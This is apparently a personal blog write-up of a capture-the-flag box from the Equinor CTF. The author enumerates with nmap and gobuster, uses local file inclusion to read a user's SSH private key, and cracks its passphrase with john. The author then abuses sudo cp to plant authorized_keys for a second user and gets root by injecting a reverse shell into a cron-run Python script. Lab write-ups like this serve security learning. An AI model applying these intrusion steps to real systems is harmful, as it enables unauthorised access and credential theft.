Equinor CTF | The Projects
This write-up is about a challenge which was presented to us as part of the Equinor CTF that I took part in with some colleagues. It's been a while since I've done any hacking of boxes so this was a nice way to get back into it again and remind myself that I can do it.
It took a bit longer than I care to admit, but the feeling of getting root access at the end was definitely worth it.
Enumeration
Ports
I started by running nmap on the box to see which ports were open. There were a lot of ports visible, but I started at the most common one, the web server on port 80.
Nmap scan report for ec2-34-245-23-112.eu-west-1.compute.amazonaws.com (54.228.46.209)
Host is up (0.040s latency).
Not shown: 92 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp filtered telnet
25/tcp open smtp
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
So this may not seem like a useful homepage but what it does tell us, is that there is a possibility of a user called Tom existing on the server. That may come in useful later on.
Web Directories
I decided to run gobuster against the web server to see if there were any hidden pages or directories I could access. My first attempt at this came up short, so I ran it again, this time looking for files with a .php extension.
┌──(gareth㉿GARETH-GAMING)-[~/CTF]
└─$ gobuster dir -u http://54.228.46.209/ -w /usr/share/wordlists/dirb/common.txt -x php -q
/.php (Status: 403) [Size: 278]
/.hta (Status: 403) [Size: 278]
/.hta.php (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/.htaccess.php (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/.htpasswd.php (Status: 403) [Size: 278]
/functions.php (Status: 200) [Size: 0]
/gallery.php (Status: 200) [Size: 1362]
I decided to investigate the gallery.php
file to see if there was anything interesting living there. I could tell from the URL that the images appeared to be loaded in through Local File Inclusion (LFI).
/image.php?i=phpGallery_images/cover-8-retail-marketing-strat.png
Foothold
Local File Inclusion
I was able to change the URL in the address bar to make this page open another file on the server. In this case, since I suspected there was a user called Tom on the system, I searched in the default location where a user's SSH key would live in their home directory.
/home/tom/.ssh/id_rsa
To my delight, I was able to see his private key file contents.
The next step was to crack the password protecting this key file from being imported. For that I used ssh2john.py
and then john
to brute-force the password, using the rockyou.txt
wordlist.
┌──(gareth㉿GARETH-GAMING)-[~/CTF]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt john_id_rsa
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
inuyasha (id_rsa)
1g 0:00:00:01 DONE (2022-11-08 13:11) 0.6250g/s 160.0p/s 160.0c/s 160.0C/s carolina..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Terminal Access
Having obtained the password to the private key file, I was able to ssh onto the server as the tom user.
Capture the User Flag
There was a user.txt
file in the home directory which contained the first flag.
tom@ip-10-0-0-82:~$ cat user.txt
EPT{w3b4pp_m15c0nf1gur4t10n}
Privilege Escalation
After having SSH'd onto the server as Tom, I started to check for what permissions I had on the machine, and whether or not I could run anything using sudo.
$ bash
tom@ip-10-0-0-82:~$ id
uid=1001(tom) gid=1001(tom) groups=1001(tom)
tom@ip-10-0-0-82:~$ sudo -l
Matching Defaults entries for tom on ip-10-0-0-82:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tom may run the following commands on ip-10-0-0-82:
(lara) NOPASSWD: /bin/cp
It appears I am allowed to run the cp
(copy) binary as the lara
user without requiring a password. This is surely the next step in the kill chain. I need to be able to become the lara
user.
Horizontal Privilege Escalation
After way longer than I care to admit spent looking around GTFOBins and figuring out how best to abuse the cp
privileges, I wondered if it would be possible to copy the ~/.ssh/authorized_keys
file from tom
's home directory, into lara
's, and then use the same key to SSH into the server as lara
.
For this to work I would first have to use the cp
binary to create the .ssh
directory, and then finally copy the authorized_keys
file over.
To check that it had succeeded, I used cp
to copy the contents of the file I tried to create to stdout, so it would display in the terminal.
Vertical Privilege Escalation
After some manual enumeration around the file system I came across a file called nextGenMon.py
which lara
had write-access to.
┌──(gareth㉿GARETH-GAMING)-[~/CTF]
└─$ ssh lara@54.194.63.62
$ bash
lara@ip-10-0-0-85:~$ cd /opt
lara@ip-10-0-0-85:/opt$ ls
nextGenMon.py
lara@ip-10-0-0-85:/opt$ cat nextGenMon.py
import os
evil_IPs = ["84.17.60.99","84.17.60.90","84.17.60.69","84.17.58.6","84.17.58.16","84.17.58.10","84.17.52.25","84.17.52.24","84.17.48.74"]
logdir = "/var/log/apache2/"
files = os.listdir(logdir)
for file in files:
data = open(f"{logdir}{file}").read().splitlines()
for logline in data:
for ip in evil_IPs:
if ip in logline:
print("THREAT ACTOR DETECTED")
f = open("/home/lara/ALARM.txt", "a")
f.write(f"{ip} detected in {file}")
lara@ip-10-0-0-85:/opt$
The first thing I did was to add my IP address to the list of evil_IPs and then I created the ALARM.txt
file in the home directory, so I could monitor to see if anything was being written there. If this file was being written to, then I know that there is some cronjob or something running which is executing this python script.
Eventually, after navigating around the web server a few times, I noticed that the ALARM.txt
file started to grow in size. This was all the evidence I needed to convince me that this python script that I had write-access to was being run.
Root Access
I added a reverse-shell python script into the nextGenMon.py
file and waited for a connection.
Summary
This was a really fun box to root and I'm glad I was able to manage it after having been "out of the game" for a while. It took me longer than it should have, but I put that down to being tired, having solved it at around 4am after trying other challenges for the past 10 hours.
The Equinor CTF was great fun and I look forward to competing again next year with my Ensō colleagues.